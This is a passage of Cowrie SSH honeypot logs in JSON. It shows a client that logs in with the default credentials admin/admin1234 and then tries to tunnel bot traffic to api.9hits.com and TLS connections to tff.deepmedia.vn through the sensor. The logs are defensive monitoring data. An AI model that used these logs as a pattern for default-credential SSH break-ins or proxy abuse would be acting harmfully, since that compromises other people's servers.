\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x91\\x12\\xc0\\x02\\xf9\\xa74\\x8d\\xc8\\x91\\xd2*\\x1a\\xc6\\xba\\x0e\\x0eJzd\\xb2yd\\xbc\\x7f\\x84\\xd9[\\xe8g|\\x94 \\xa4\\xd9\\xf7\\xb1\\x16\\xa6\\x1fQ\\xe9\\xa9f\\x1a\\x8e|B\\x9e\\x1a;d\\xa1:\\xee\\xe2\\x02e\\xd0\\x00 -1\\xdds\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 8\\xcb\\xd4\\xd6J\\xb4\\xcai\\xc3\\x1e\\xc5A\\xf9\\x11\\'\\xa8-\\xf8(\\x81\\x17bII\\xc8a\\xf6W2\\xb85\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:40.824790Z","src_ip":"123.27.168.40","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59086,"dst_ip":"10.17.0.5","dst_port":22,"session":"f66cea1e080a","protocol":"ssh","message":"New connection: 123.27.168.40:59086 (10.17.0.5:22) [session: f66cea1e080a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:41.129695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:41.133334Z","src_ip":"123.27.168.40","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:41.152729Z","src_ip":"123.27.168.40","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:41.452496Z","src_ip":"123.27.168.40","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:42.601657Z","src_ip":"123.27.168.40","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:43.165284Z","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:43.224103Z","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:43.514037Z","src_ip":"123.27.168.40","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36 Edg/86.0.622.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SFMwPlB%2BNmVGST59MnJGdA%3D%3DyA%2FYIE00HnG5Ax1uQhKV3AXW8GVvCgqPZUi2GbbBnRDm72V7IIIo8fbfGpAnS7rhwy8XCvC1aVpzU3xMLCEYnbAYtchja%2BCNbSNG%2BthszYWCVkTNAugSMR6IUeOhLfiwewqukMqI%2FIVFCvrvBJRN6ucYePc3fJuQT5eMhsRXzc4ljjOwCbH58HLcCDsvHplPRehvg8rHk1jQ5%2FKVcOlFwAjpgLX6qok0HTHSV41AY5NqXvBMWpKLuGr%2FONwVaVR5C6PSDtGGUcpWeUtt9mlEIGVKspZ0CiaQYefycP6ZCMzDsaQfeLuPxZHxuAHnNLHaUiFz9HgKIOdGb76g5%2BGUxWI64Ib7GCCKJjuaq2ZhDBDJtZ%2BHnL0ci3FCotSyIWOFUW4gm691yDin5Xm%2B9zgm3v8q%2FMBSsNG1W7DYfBYNOX%2F2M0P%2Bn644UmOClJ3claWOLdlKzwqd8qDJaMXupXkLQ0qEejqKfXAbmANkzm5wsLcT5%2BVQCksJ5rb1OLDiR2%2BjEQ7WWWd0%2FWYR5jVnelqh2OEiKEgNSxrnojqYb4%2F2AP8NB3ptNWZTfgYCQQhIcDFbS%2BBLI0jyQPfuKYL39CHHyYVE5E48wGNyY76wEORuC2PQ1TCirznujfAH1i%2BLweaUfKmBPw30cGMVbJ8qK%2B54vgI6xVAmgUjJO3BEaMBB8At%2F2%2BqruBiS6RkvC00CMlOSio7odoLQY%2FfJOw3XfPb4iRkQQls9x2akjKybZRZVxp46VpZx08IAyYyoFoAvjxrMorxPJJtJKBm7St9bpzK5L2IVudq%2FvvEAB3KGHgvoH42ytjKn%2ByFDqyuB%2FD9Ob27kfWlZ3IGLAAz7dfKj0oSNun6BGjibooJMa2xHOBU3ikwQoTghdGNBuWlbj6yFHw9dwZr7bq4RmEiWIagCZqjqcFz2QUs2CB4U5MO8bDIrbMccGj9ZvH9f5Ueat4KuOkwk51gh25OJN8DfzCkZj%2F0GBt1d83t9ksBFi%2BG5JnxB%2B9JVOPvvD%2FMsnDwkyLdDJBtJvMTAlbq%2FOpx%2FijzeMuMQ7baPxHMefgJ0tRU98Wzv7nWvEjSF4NjkV1GsVVFY3Gm4'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36 Edg/86.0.622.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SFMwPlB%2BNmVGST59MnJGdA%3D%3DyA%2FYIE00HnG5Ax1uQhKV3AXW8GVvCgqPZUi2GbbBnRDm72V7IIIo8fbfGpAnS7rhwy8XCvC1aVpzU3xMLCEYnbAYtchja%2BCNbSNG%2BthszYWCVkTNAugSMR6IUeOhLfiwewqukMqI%2FIVFCvrvBJRN6ucYePc3fJuQT5eMhsRXzc4ljjOwCbH58HLcCDsvHplPRehvg8rHk1jQ5%2FKVcOlFwAjpgLX6qok0HTHSV41AY5NqXvBMWpKLuGr%2FONwVaVR5C6PSDtGGUcpWeUtt9mlEIGVKspZ0CiaQYefycP6ZCMzDsaQfeLuPxZHxuAHnNLHaUiFz9HgKIOdGb76g5%2BGUxWI64Ib7GCCKJjuaq2ZhDBDJtZ%2BHnL0ci3FCotSyIWOFUW4gm691yDin5Xm%2B9zgm3v8q%2FMBSsNG1W7DYfBYNOX%2F2M0P%2Bn644UmOClJ3claWOLdlKzwqd8qDJaMXupXkLQ0qEejqKfXAbmANkzm5wsLcT5%2BVQCksJ5rb1OLDiR2%2BjEQ7WWWd0%2FWYR5jVnelqh2OEiKEgNSxrnojqYb4%2F2AP8NB3ptNWZTfgYCQQhIcDFbS%2BBLI0jyQPfuKYL39CHHyYVE5E48wGNyY76wEORuC2PQ1TCirznujfAH1i%2BLweaUfKmBPw30cGMVbJ8qK%2B54vgI6xVAmgUjJO3BEaMBB8At%2F2%2BqruBiS6RkvC00CMlOSio7odoLQY%2FfJOw3XfPb4iRkQQls9x2akjKybZRZVxp46VpZx08IAyYyoFoAvjxrMorxPJJtJKBm7St9bpzK5L2IVudq%2FvvEAB3KGHgvoH42ytjKn%2ByFDqyuB%2FD9Ob27kfWlZ3IGLAAz7dfKj0oSNun6BGjibooJMa2xHOBU3ikwQoTghdGNBuWlbj6yFHw9dwZr7bq4RmEiWIagCZqjqcFz2QUs2CB4U5MO8bDIrbMccGj9ZvH9f5Ueat4KuOkwk51gh25OJN8DfzCkZj%2F0GBt1d83t9ksBFi%2BG5JnxB%2B9JVOPvvD%2FMsnDwkyLdDJBtJvMTAlbq%2FOpx%2FijzeMuMQ7baPxHMefgJ0tRU98Wzv7nWvEjSF4NjkV1GsVVFY3Gm4'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:43.517413Z","src_ip":"123.27.168.40","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:43.755948Z","src_ip":"123.27.168.40","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4\\xec\\x8f\"\\x11\\xa9\\xdb\\xdc\\xe0\\xae\\x106r\\xea&Cc\\xa5\\x9a\\x12>\\xfa\\xf4\\xc9\\xc2i\\xec\\xb3\\xea\\x89\\x15\\x1b nr\\x9b\\xe4\\xc9\\xe6\\x0f\\xc76m\\xd8\\x9bd\\xc9\\xe7bT\\x1f\\xf3\\x1e\\x1a\\x96\\x04v/\\x83\\xdb\\xf9\\xc2\\x96\\xb3\\xdd\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 &5=1\\xc3O\\x14\\x83>\\x93\\x18M<z\\xa08\\x85\\xbcNg\\' \\xa4W\\xe7\\x1a\\xfc\\xc8_\\xf1-\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4\\xec\\x8f\"\\x11\\xa9\\xdb\\xdc\\xe0\\xae\\x106r\\xea&Cc\\xa5\\x9a\\x12>\\xfa\\xf4\\xc9\\xc2i\\xec\\xb3\\xea\\x89\\x15\\x1b nr\\x9b\\xe4\\xc9\\xe6\\x0f\\xc76m\\xd8\\x9bd\\xc9\\xe7bT\\x1f\\xf3\\x1e\\x1a\\x96\\x04v/\\x83\\xdb\\xf9\\xc2\\x96\\xb3\\xdd\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 &5=1\\xc3O\\x14\\x83>\\x93\\x18M<z\\xa08\\x85\\xbcNg\\' \\xa4W\\xe7\\x1a\\xfc\\xc8_\\xf1-\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:43.760120Z","src_ip":"123.27.168.40","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:44.240745Z","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:44.486804Z","src_ip":"123.27.168.40","session":"f66cea1e080a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc5<\\x86\\x11-\\xb3D\\xb13\\xe1\\x18\\x99Q\\x8c\\x8e\\xa9\\xc9)\\xefh\\x97\"\\xe3\\xfb\\x04\\xbf\\xb7\\xa2\\xdbh\\x92\\xe1 \\xa5\\x83\\xce\\x0ej\\xab\\x0bN9BpE\\xa5\\x05f\\xfe\\xe5\\xe2\\xaf\\x80\\x99W\\xc6\\xa4[&\\xe1D\\xe4\\x8c\\x16&\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2A\\x9a\\x91G\\xbb\\xc4\\xa6\\xdb\\xf3&\\xb2\\x85\\x0b\\x86D(\\x1d\\x84Dz\\n\\x7f`\\xb5\\x11wV\\x91_\\xf6\\x0e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc5<\\x86\\x11-\\xb3D\\xb13\\xe1\\x18\\x99Q\\x8c\\x8e\\xa9\\xc9)\\xefh\\x97\"\\xe3\\xfb\\x04\\xbf\\xb7\\xa2\\xdbh\\x92\\xe1 